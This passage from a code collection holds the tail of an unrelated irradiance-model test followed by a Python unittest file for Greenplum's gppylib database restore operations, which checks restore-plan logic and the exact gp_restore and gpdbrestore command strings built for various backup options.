effect_irrad)) assert len(poa) == 2 assert_series_equal(poa[0], total_irrad['poa_global']) assert_series_equal(poa[1], total_irrad['poa_global']) poa = modelchain._irrad_for_celltemp( (empty, empty), (effect_irrad, effect_irrad)) assert len(poa) == 2 assert_series_equal(poa[0], effect_irrad) assert_series_equal(poa[1], effect_irrad)
codeparrot/github-code-clean
#!/usr/bin/env python # coding: utf-8 # # Copyright (c) Greenplum Inc 2008. All Rights Reserved. # import sys import unittest2 as unittest import tempfile, os, shutil from gppylib.commands.base import CommandResult, Command, ExecutionError from gppylib.operations.backup_utils import * from gppylib.operations.restore import * from gppylib.operations.restore import _build_gpdbrestore_cmd_line from gppylib.mainUtils import ExceptionNoStackTraceNeeded from mock import patch, MagicMock, Mock, mock_open, call class RestoreTestCase(unittest.TestCase): def setUp(self): context = Context() context.restore_db='testdb' context.include_dump_tables_file='/tmp/table_list.txt' context.master_datadir='/data/master/p1' context.batch_default=None context.timestamp = '20160101010101' context.no_analyze = True context.drop_db = True context.master_port = 5432 self.context = context self.restore = RestoreDatabase(self.context) self.validate_timestamp = ValidateTimestamp(self.context) def test_GetDbName_default(self): """ Basic test """ with tempfile.NamedTemporaryFile() as f: f.write(""" -- -- Database creation -- CREATE DATABASE monkey WITH TEMPLATE = template0 ENCODING = 'UTF8' OWNER = thisguy; """) f.flush() self.assertTrue(GetDbName(f.name).run() == "monkey") def test_GetDbName_line_check(self): """ Verify that GetDbName looks no further than 50 lines. """ with tempfile.NamedTemporaryFile() as f: for i in range(0, 50): f.write("crap\n") f.write("CREATE DATABASE monkey") f.flush() try: GetDbName(f.name).run() except GetDbName.DbNameGiveUp, e: return self.fail("DbNameGiveUp should have been raised.") def test_GetDbName_no_name(self): """ Verify that GetDbName fails when cdatabase file ends prematurely. """ with tempfile.NamedTemporaryFile() as f: f.write("this is the whole file") f.flush() try: GetDbName(f.name).run() except GetDbName.DbNameNotFound, e: return self.fail("DbNameNotFound should have been raised.") @patch('gppylib.operations.restore.RestoreDatabase._process_createdb', side_effect=ExceptionNoStackTraceNeeded('Failed to create database')) @patch('time.sleep') def test_multitry_createdb_create_fails(self, mock1, mock2): self.assertRaises(ExceptionNoStackTraceNeeded, self.restore._multitry_createdb) @patch('gppylib.operations.restore.RestoreDatabase._process_createdb') def test_multitry_createdb_default(self, mock): self.restore._multitry_createdb() @patch('gppylib.operations.restore.get_partition_list', return_value=[('public', 't1'), ('public', 't2'), ('public', 't3')]) @patch('gppylib.operations.restore.get_full_timestamp_for_incremental', return_value='20160101000000') @patch('gppylib.operations.restore.get_incremental_restore_timestamps', return_value=['20160101010101', '20160101010111']) @patch('gppylib.operations.restore.get_dirty_table_file_contents', return_value=['public.t1', 'public.t2']) def test_create_restore_plan_default(self, mock1, mock2, mock3, mock4): expected = ["20160101010111:", "20160101010101:public.t1,public.t2", "20160101000000:public.t3"] m = mock_open() with patch('__builtin__.open', m, create=True): plan_file = create_restore_plan(self.context) result = m() self.assertEqual(len(expected), len(result.write.call_args_list)) for i in range(len(expected)): self.assertEqual(call(expected[i]+'\n'), result.write.call_args_list[i]) @patch('gppylib.operations.restore.get_full_timestamp_for_incremental', return_value='20160101000000') @patch('gppylib.operations.restore.get_incremental_restore_timestamps', return_value=['20160101010101', '20160101010111']) @patch('gppylib.operations.restore.get_dirty_table_file_contents', return_value=['public.t1', 'public.t2']) def test_create_restore_plan_empty_list(self, mock1, mock2, mock3): expected = ["20160101010111:", "20160101010101:", "20160101000000:"] m = mock_open() with patch('__builtin__.open', m, create=True): plan_file = create_restore_plan(self.context) result = m() self.assertEqual(len(expected), len(result.write.call_args_list)) for i in range(len(expected)): self.assertEqual(call(expected[i]+'\n'), result.write.call_args_list[i]) @patch('gppylib.operations.restore.get_partition_list', return_value=[]) @patch('gppylib.operations.restore.get_timestamp_from_increments_filename', return_value=None) def test_create_restore_plan_no_full_dump(self, mock1, mock2): with patch('__builtin__.open', mock_open(), create=True): with self.assertRaisesRegexp(Exception, 'Could not locate full backup associated with timestamp'): create_restore_plan(self.context) @patch('gppylib.operations.restore.get_partition_list', return_value=[]) @patch('gppylib.operations.restore.get_full_timestamp_for_incremental', return_value='20120101000000') @patch('gppylib.operations.restore.get_incremental_restore_timestamps', return_value=['20160101010101', '20160101010111']) @patch('gppylib.operations.restore.get_dirty_table_file_contents', return_value=['public.t1', 'public.t2']) @patch('gppylib.operations.restore.create_plan_file_contents') def test_create_restore_plan_empty_list_with_nbu(self, mock1, mock2, mock3, mock4, mock5): self.context.netbackup_service_host = 'mdw' self.context.netbackup_block_size = '1024' m = mock_open() with patch('__builtin__.open', m, create=True): plan_file = create_restore_plan(self.context) result = m() self.assertEqual(len(result.write.call_args_list), 0) @patch('gppylib.operations.restore.get_partition_list', return_value=[]) @patch('gppylib.operations.backup_utils.get_full_timestamp_for_incremental_with_nbu', return_value=None) def test_create_restore_plan_no_full_dump_with_nbu(self, mock1, mock2): self.context.netbackup_service_host = 'mdw' self.context.netbackup_block_size = '1024' with patch('__builtin__.open', mock_open(), create=True): with self.assertRaisesRegexp(Exception, 'Could not locate full backup associated with timestamp'): create_restore_plan(self.context) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['20160101010110', '20160101010109', '20160101010108', '20160101010107', '20160101010106', '20160101010105', '20160101010104', '20160101010103', '20160101010102', '20160101010101']) def test_get_incremental_restore_timestamps_midway(self, mock): latest_full_timestamp = '20160101010101' self.context.timestamp = '20160101010105' increments = get_incremental_restore_timestamps(self.context, latest_full_timestamp) self.assertEqual(increments, ['20160101010105', '20160101010104', '20160101010103', '20160101010102', '20160101010101']) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['20160101010110', '20160101010109', '20160101010108', '20160101010107', '20160101010106', '20160101010105', '20160101010104', '20160101010103', '20160101010102', '20160101010101']) def test_get_incremental_restore_timestamps_latest(self, mock): latest_full_timestamp = '20160101010101' self.context.timestamp = '20160101010110' increments = get_incremental_restore_timestamps(self.context, latest_full_timestamp) self.assertEqual(increments, ['20160101010110', '20160101010109', '20160101010108', '20160101010107', '20160101010106', '20160101010105', '20160101010104', '20160101010103', '20160101010102', '20160101010101']) @patch('gppylib.operations.restore.get_lines_from_file', return_value=[]) def test_get_incremental_restore_timestamps_earliest(self, mock): latest_full_timestamp = '20160101010101' self.context.timestamp = '20160101010100' increments = get_incremental_restore_timestamps(self.context, latest_full_timestamp) self.assertEqual(increments, []) @patch('gppylib.operations.restore.get_lines_from_file', side_effect=[['public.t1'], ['public.t1', 'public.t2', 'public.t3'], ['public.t2', 'public.t4']]) def test_create_plan_file_contents_with_file(self, mock): table_set_from_metadata_file = ['public.t1', 'public.t2', 'public.t3', 'public.t4'] incremental_restore_timestamps = ['20160101010113', '20160101010101', '20160101010111'] latest_full_timestamp = '20160101010110' expected_output = {'20160101010113': ['public.t1'], '20160101010101': ['public.t2', 'public.t3'], '20160101010111': ['public.t4'], '20160101010110': []} file_contents = create_plan_file_contents(self.context, table_set_from_metadata_file, incremental_restore_timestamps, latest_full_timestamp) self.assertEqual(file_contents, expected_output) def test_create_plan_file_contents_no_file(self): table_set_from_metadata_file = ['public.t1', 'public.t2', 'public.t3', 'public.t4'] incremental_restore_timestamps = [] latest_full_timestamp = '20160101010110' expected_output = {'20160101010110': ['public.t1', 'public.t2', 'public.t3', 'public.t4']} file_contents = create_plan_file_contents(self.context, table_set_from_metadata_file, incremental_restore_timestamps, latest_full_timestamp) self.assertEqual(file_contents, expected_output) @patch('gppylib.operations.restore.get_lines_from_file', side_effect=[['public.t1'], ['public.t1', 'public.t2', 'public.t3'], ['public.t2', 'public.t4']]) def test_create_plan_file_contents_no_metadata(self, mock): table_set_from_metadata_file = [] incremental_restore_timestamps = ['20160101010113', '20160101010101', '20160101010111'] latest_full_timestamp = '20160101010110' expected_output = {'20160101010101': [], '20160101010113': [], '20160101010111': [], '20160101010110': []} file_contents = create_plan_file_contents(self.context, table_set_from_metadata_file, incremental_restore_timestamps, latest_full_timestamp) self.assertEqual(file_contents, expected_output) @patch('gppylib.operations.restore.get_lines_from_file', side_effect=[['public.t1'], ['public.t1', 'public.t2', 'public.t3'], ['public.t2', 'public.t4']]) @patch('gppylib.operations.restore.restore_file_with_nbu') def test_create_plan_file_contents_with_nbu(self, mock1, mock2): self.context.netbackup_service_host = 'mdw' self.context.netbackup_block_size = '1024' table_set_from_metadata_file = [] incremental_restore_timestamps = ['20160101010113', '20160101010101', '20160101010111'] latest_full_timestamp = '20160101010110' expected_output = {'20160101010101': [], '20160101010113': [], '20160101010111': [], '20160101010110': []} file_contents = create_plan_file_contents(self.context, table_set_from_metadata_file, incremental_restore_timestamps, latest_full_timestamp) self.assertEqual(file_contents, expected_output) @patch('gppylib.operations.restore.write_lines_to_file') def test_write_to_plan_file_default(self, mock1): plan_file = 'blah' plan_file_contents = {'20160101010113': ['public.t1'], '20160101010101': ['public.t2', 'public.t3'], '20160101010111': ['public.t4']} expected_output = ['20160101010113:public.t1', '20160101010111:public.t4', '20160101010101:public.t2,public.t3'] file_contents = write_to_plan_file(plan_file_contents, plan_file) self.assertEqual(expected_output, file_contents) @patch('gppylib.operations.restore.write_lines_to_file') def test_write_to_plan_file_empty_list(self, mock1): plan_file = 'blah' plan_file_contents = {} expected_output = [] file_contents = write_to_plan_file(plan_file_contents, plan_file) self.assertEqual(expected_output, file_contents) @patch('gppylib.operations.restore.write_lines_to_file') def test_write_to_plan_file_no_plan_file(self, mock1): plan_file = None plan_file_contents = {} with self.assertRaisesRegexp(Exception, 'Invalid plan file .*'): write_to_plan_file(plan_file_contents, plan_file) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['public.t1', 'public.t2']) def test_get_partition_list_default(self, mock): partition_list = get_partition_list(self.context) self.assertEqual(partition_list, [('public', 't1'), ('public', 't2')]) @patch('gppylib.operations.restore.get_lines_from_file', return_value=[]) def test_get_partition_list_no_partitions(self, mock): partition_list = get_partition_list(self.context) self.assertEqual(partition_list, []) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['Backup Type: Incremental']) @patch('os.path.isfile', return_value=True) def test_is_incremental_restore_default(self, mock1, mock2): self.assertTrue(is_incremental_restore(self.context)) @patch('gppylib.operations.restore.get_lines_from_file') @patch('gppylib.operations.restore.check_backup_type', return_value=True) @patch('os.path.isfile', return_value=True) def test_is_incremental_restore_bypass_file_incremental(self, mock1, mock2, mock3): self.assertTrue(is_incremental_restore(self.context)) @patch('os.path.isfile', return_value=True) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['Backup Type: Full']) def test_is_incremental_restore_full_backup(self, mock1, mock2): self.assertFalse(is_incremental_restore(self.context)) @patch('os.path.isfile', return_value=True) @patch('gppylib.operations.restore.get_lines_from_file') @patch('gppylib.operations.restore.check_backup_type', return_value=False) def test_is_incremental_restore_bypass_file_full(self, mock1, mock2, mock3): self.assertFalse(is_incremental_restore(self.context)) @patch('os.path.isfile', return_value=False) def test_is_incremental_restore_no_file(self, mock1): self.assertFalse(is_incremental_restore(self.context)) @patch('os.path.isfile', return_value=True) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['Backup Type: Full']) @patch('os.path.isfile', return_value=True) def test_is_full_restore_default(self, mock1, mock2, mock3): self.assertTrue(is_full_restore(self.context)) @patch('gppylib.operations.restore.get_lines_from_file') @patch('gppylib.operations.restore.check_backup_type', return_value=True) @patch('os.path.isfile', return_value=True) def test_is_full_restore_bypass_file_full(self, mock1, mock2, mock3): self.assertTrue(is_full_restore(self.context)) @patch('os.path.isfile', return_value=True) @patch('gppylib.operations.restore.get_lines_from_file', return_value=['Backup Type: Incremental']) def test_is_full_restore_incremental(self, mock1, mock2): self.assertFalse(is_full_restore(self.context)) @patch('os.path.isfile', return_value=True) @patch('gppylib.operations.restore.get_lines_from_file') @patch('gppylib.operations.restore.check_backup_type', return_value=False) def test_is_full_restore_bypass_file_incremental(self, mock1, mock2, mock3): self.assertFalse(is_full_restore(self.context)) @patch('os.path.isfile', return_value=False) def test_is_full_restore_no_file(self, mock1): filename = self.context.generate_filename("report") with self.assertRaisesRegexp(Exception, 'Report file %s does not exist' % filename): is_full_restore(self.context) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_schema_only_restore_string_default(self, mock1, mock2): self.context.backup_dir = None table_filter_file = None full_restore_with_filter = False metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-d=db_dumps/20160101 --gp-c -d "testdb"' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_schema_only_restore_string_no_compression(self, mock1, mock2): self.context.backup_dir = None self.context.compress = False table_filter_file = None full_restore_with_filter = False metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-d=db_dumps/20160101 -d "testdb"' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=True) def test_create_schema_only_restore_string_backup_dir(self, mock1, mock2, mock3): table_filter_file = None full_restore_with_filter = False self.context.report_status_dir = "/data/master/p1/db_dumps/20160101" metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-r=/data/master/p1/db_dumps/20160101 --status=/data/master/p1/db_dumps/20160101 --gp-d=db_dumps/20160101 --gp-c -d "testdb"' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=False) def test_create_schema_only_restore_string_prefix(self, mock1, mock2, mock3): self.context.dump_prefix = 'bar_' table_filter_file = 'filter_file1' metadata_file = self.context.generate_filename("metadata") full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-d=db_dumps/20160101 --prefix=bar_ --gp-f=%s --gp-c -d "testdb"' % (metadata_file, table_filter_file) restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=False) def test_create_schema_only_restore_string_no_filter_file(self, mock1, mock2, mock3): table_filter_file = None metadata_file = self.context.generate_filename("metadata") full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-d=db_dumps/20160101 --gp-c -d "testdb"' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_schema_only_restore_string_different_status_dir(self, mock1, mock2): self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = False metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-r=/tmp --status=/tmp --gp-d=db_dumps/20160101 --gp-c -d "testdb"' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_schema_only_restore_string_status_dir_with_filter(self, mock1, mock2): self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = True metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s -P --gp-r=/tmp --status=/tmp --gp-d=db_dumps/20160101 --gp-c -d "testdb"' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_schema_only_restore_string_with_nbu(self, mock1, mock2): table_filter_file = None full_restore_with_filter = False self.context.netbackup_service_host = "mdw" metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s --gp-d=db_dumps/20160101 --gp-c -d "testdb" --netbackup-service-host=mdw' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_schema_only_restore_string_with_ddboost(self, mock1, mock2): self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = True self.context.ddboost = True self.context.dump_dir = '/backup/DCA-35' metadata_file = self.context.generate_filename("metadata") expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p -s %s -P --gp-r=/tmp --status=/tmp --gp-d=/backup/DCA-35/20160101 --gp-c -d "testdb" --ddboost' % metadata_file restore_line = self.restore.create_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_post_data_schema_only_restore_string_default(self, mock1, mock2): table_filter_file = None full_restore_with_filter = True expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p -P --gp-c -d "testdb"' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=True) def test_create_post_data_schema_only_restore_string_no_filter(self, mock1, mock2, mock3): table_filter_file = None full_restore_with_filter = False self.context.report_status_dir="/data/master/p1/db_dumps/20160101" expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p --gp-r=/data/master/p1/db_dumps/20160101 --status=/data/master/p1/db_dumps/20160101 --gp-c -d "testdb"' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=False) def test_create_post_data_schema_only_restore_string_with_prefix(self, mock1, mock2, mock3): self.context.dump_prefix = 'bar_' table_filter_file = None full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p --prefix=bar_ --gp-c -d "testdb"' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=False) def test_create_post_data_schema_only_restore_string_with_prefix_and_filter(self, mock1, mock2, mock3): self.context.dump_prefix = 'bar_' table_filter_file = 'filter_file1' full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p --prefix=bar_ --gp-f=%s --gp-c -d "testdb"' % (table_filter_file) restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') @patch('gppylib.operations.backup_utils.Context.backup_dir_is_writable', return_value=False) def test_create_post_data_schema_only_restore_string_no_backup_dir(self, mock1, mock2, mock3): table_filter_file = None full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p --gp-c -d "testdb"' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_post_data_schema_only_restore_string_different_status_dir(self, mock1, mock2): self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p --gp-r=/tmp --status=/tmp --gp-c -d "testdb"' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_post_data_schema_only_restore_string_status_dir_and_filter(self, mock1, mock2): self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = True expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p -P --gp-r=/tmp --status=/tmp --gp-c -d "testdb"' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_post_data_schema_only_restore_string_with_ddboost(self, mock1, mock2): self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = True self.context.ddboost = True expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p -P --gp-r=/tmp --status=/tmp --gp-c -d "testdb" --ddboost' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_post_data_schema_only_restore_string_with_nbu(self, mock1, mock2): table_filter_file = None full_restore_with_filter = True self.context.backup_dir = None self.context.netbackup_service_host = "mdw" self.context.netbackup_block_size = 1024 expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-d=db_dumps/20160101 --gp-i --gp-k=20160101010101 --gp-l=p -P --gp-c -d "testdb" --netbackup-service-host=mdw --netbackup-block-size=1024' restore_line = self.restore.create_post_data_schema_only_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_build_gpdbrestore_cmd_line_default(self, mock1, mock2): ts = '20160101010101' self.context.backup_dir = None expected_output = 'gpdbrestore -t 20160101010101 --table-file foo -a -v --noplan --noanalyze --noaostats --no-validate-table-name' restore_line = _build_gpdbrestore_cmd_line(self.context, ts, 'foo') self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_build_gpdbrestore_cmd_line_backup_dir(self, mock1, mock2): ts = '20160101010101' self.context.backup_dir = '/tmp' expected_output = 'gpdbrestore -t 20160101010101 --table-file foo -a -v --noplan --noanalyze --noaostats --no-validate-table-name -u /tmp' restore_line = _build_gpdbrestore_cmd_line(self.context, ts, 'foo') self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_build_gpdbrestore_cmd_line_report_status_dir(self, mock1, mock2): ts = '20160101010101' self.context.backup_dir = None self.context.report_status_dir = '/tmp' expected_output = 'gpdbrestore -t 20160101010101 --table-file foo -a -v --noplan --noanalyze --noaostats --no-validate-table-name --report-status-dir=/tmp' restore_line = _build_gpdbrestore_cmd_line(self.context, ts, 'foo') self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_build_gpdbrestore_cmd_line_redirected_restore(self, mock1, mock2): ts = '20160101010101' self.context.backup_dir = None self.context.redirected_restore_db = "redb" expected_output = 'gpdbrestore -t 20160101010101 --table-file foo -a -v --noplan --noanalyze --noaostats --no-validate-table-name --redirect=redb' restore_line = _build_gpdbrestore_cmd_line(self.context, ts, 'foo') self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_build_gpdbrestore_cmd_line_with_ddboost(self, mock1, mock2): ts = '20160101010101' self.context.backup_dir = None self.context.ddboost = True self.context.report_status_dir = '/tmp' expected_output = 'gpdbrestore -t 20160101010101 --table-file foo -a -v --noplan --noanalyze --noaostats --no-validate-table-name --report-status-dir=/tmp --ddboost' ddboost = True restore_line = _build_gpdbrestore_cmd_line(self.context, ts, 'foo') self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_no_filter_file(self, mock1, mock2): self.context.no_plan = True table_filter_file = None full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_default(self, mock1, mock2): self.context.no_plan = True table_filter_file = '/tmp/foo' full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-f=/tmp/foo --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_with_ddboost(self, mock1, mock2): self.context.no_plan = True table_filter_file = None full_restore_with_filter = False self.context.ddboost = True expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-c -d "testdb" -a --ddboost' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_different_status_dir(self, mock1, mock2): self.context.no_plan = True self.context.report_status_dir = '/tmp' table_filter_file = None full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-r=/tmp --status=/tmp --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_no_filter(self, mock1, mock2): self.context.no_plan = True table_filter_file = None full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_no_filter_file(self, mock1, mock2): self.context.no_plan = True table_filter_file = '/tmp/foo' full_restore_with_filter = False expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-f=/tmp/foo --gp-c -d "testdb" -a' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') def test_create_restore_string_ddboost_and_prefix(self, mock1, mock2): self.context.no_plan = True table_filter_file = None self.context.dump_prefix = 'bar_' full_restore_with_filter = False self.context.ddboost = True expected_output = 'gp_restore -i -h host -p 5432 -U user --gp-i --prefix=bar_ --gp-k=20160101010101 --gp-l=p --gp-d=db_dumps/20160101 --gp-c -d "testdb" -a --ddboost' restore_line = self.restore.create_restore_string(table_filter_file, full_restore_with_filter) self.assertEqual(restore_line, expected_output) @patch('gppylib.operations.restore.socket.gethostname', return_value='host') @patch('gppylib.operations.restore.getpass.getuser', return_value='user') 